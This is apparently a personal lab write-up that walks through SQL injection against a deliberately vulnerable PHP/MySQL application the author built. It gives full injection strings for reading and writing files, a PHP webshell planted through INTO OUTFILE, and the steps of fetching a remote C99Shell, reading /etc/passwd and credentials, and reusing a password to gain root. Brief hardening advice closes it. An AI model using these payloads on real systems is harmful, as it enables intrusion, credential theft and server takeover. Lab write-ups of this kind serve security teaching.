In the shape of my writing on WackoPicko, I did some researches on the Internet about persistent SQL injections and went to the excellent article "Backdoor webserver using MySQL SQL Injection" available here: http://www.greensql.net/publications/backdoor-webserver-using-mysql-sql-injection. I absolutely wanted to test all this and immediately started to prepare a *hacking* environment on my VMWare ESX4 plateform.
My plateform is a standard Linux/Apache/PHP/MySQL (LAMP) environment and hosts a very simple and vulnerable web application that I wrote in PHP.
- Typical LAMP environment with:
- IP: 192.168.100.15 (VMWare ESX4)
- OS: Debian 5 with full updates
- Apache: 2.2.17
- PHP: 5.3.4
- MySQL: 5.5.8
- Web application:
- PHP script vulnerable to SQL injections.
- Database with 1 table (user).
It can be downloaded here: http://dl.dropbox.com/u/10761700/poc-sql-injection.rar.
Read README and INSTALL files for full instructions.
Proof of Concept (PoC)
Web application vulnerabilities
By pointing your browser to http://localhost, you should be presented with such a screen:
Insert some numeric values (1, 2, 3) in the ID field and press ENTER. It shows information on users.
Basic SQL injections
This field is vulnerable to SQL injections. Following strings make the request always true:
- 1 or 1=1
- 2 or 1
SQL injections for MySQL
By default, MySQL doesn't support the execution of multiple requests separated by a semi-column:
If mysql has been compiled from sources, you should have this file:
It contains this line:
#define CLIENT_MULTI_STATEMENTS (1UL << 16) /* Enable/disable multi-stmt support */
By uncommenting this line, you will be able to execute multiple queries, separated by a semi-column.
Writing arbitrary files
Provided the user has FILE privileges and that MySQL has write privileges on a directory, you should be able to write a file with following string:
1 UNION SELECT 'hack',, INTO OUTFILE '/tmp/file.txt'
The full request that is executed by the PHP script is:
SELECT id, username, password FROM user WHERE id=1 UNION SELECT 'hack',, INTO OUTFILE '/tmp/file.txt'
We use a UNION statement to concatenate both requests. To make it work, we must have the same number of fields in both requests.
Reading arbitrary files
Provided the user has FILE permissions, you should be able to read files by injecting following content to the ID field:
1 UNION SELECT LOAD_FILE('/tmp/file.txt'),,
The resulting request is:
SELECT id, username, password FROM user WHERE id=1 UNION SELECT LOAD_FILE('/tmp/file.txt'),,
Using the "UNION" injection, it is possible to completely reverse-engineer the database.
Provided the MySQL account used for the connection has access to all databases (included the "mysql" database), it is possible to get the passwords. Here is an example of such an attack. We grab the hashes:
You will find online tools to crack the hashes:
Writing a webshell to the server
By using the full permissions in the upload directory, we should be able to write a rudimentary webshell to the web server. Inject following content:
1 UNION SELECT '<?php system($_GET[\'cmd\']) ?>',0,0 INTO OUTFILE '/var/www/upload/cmd.php'
The full request is:
SELECT id, username, password FROM user WHERE id=1 UNION SELECT '<?php system($_GET[\'cmd\']); ?>',, INTO OUTFILE '/tmp/cmd.php';
Testing the webshell
You can test the webshell by injecting arbitrary commands to the cmd parameter:
Using the webshell to download files
By using the rudimentary webshell, we are going to download a C99Shell on a remote server:
Once done, we should be able to use our new web shell:
Using the webshell, we should be able to read the root password that is used to connet to the MySQL database. This one is included in the source code of the index.php file.
Inject the following content:
We can also copy the /etc/passwd file to our upload directory and read the content:
To escalate privileges, some hints:
- Try the combination of root/password we have discovered to access the MySQL server; if we are lucky, the password will be the same to gain root privileges on the machine!
- Scan the services and try to find non-patched/zero-day vulnerabilities on it.
By chance, we confirm the first idea and we can access the machine with root privileges:
- chroot your Apache/PHP/MySQL installation.
- Don't use the root account to connect to your database but rather create a specific user with limited access to the database.
- Withdraw FILE permissions from the user who connects to the database unless you absolutely need it.
- Have a strong password policy (strong passwords, often change passwords, don't use the same password for 2 services, ...)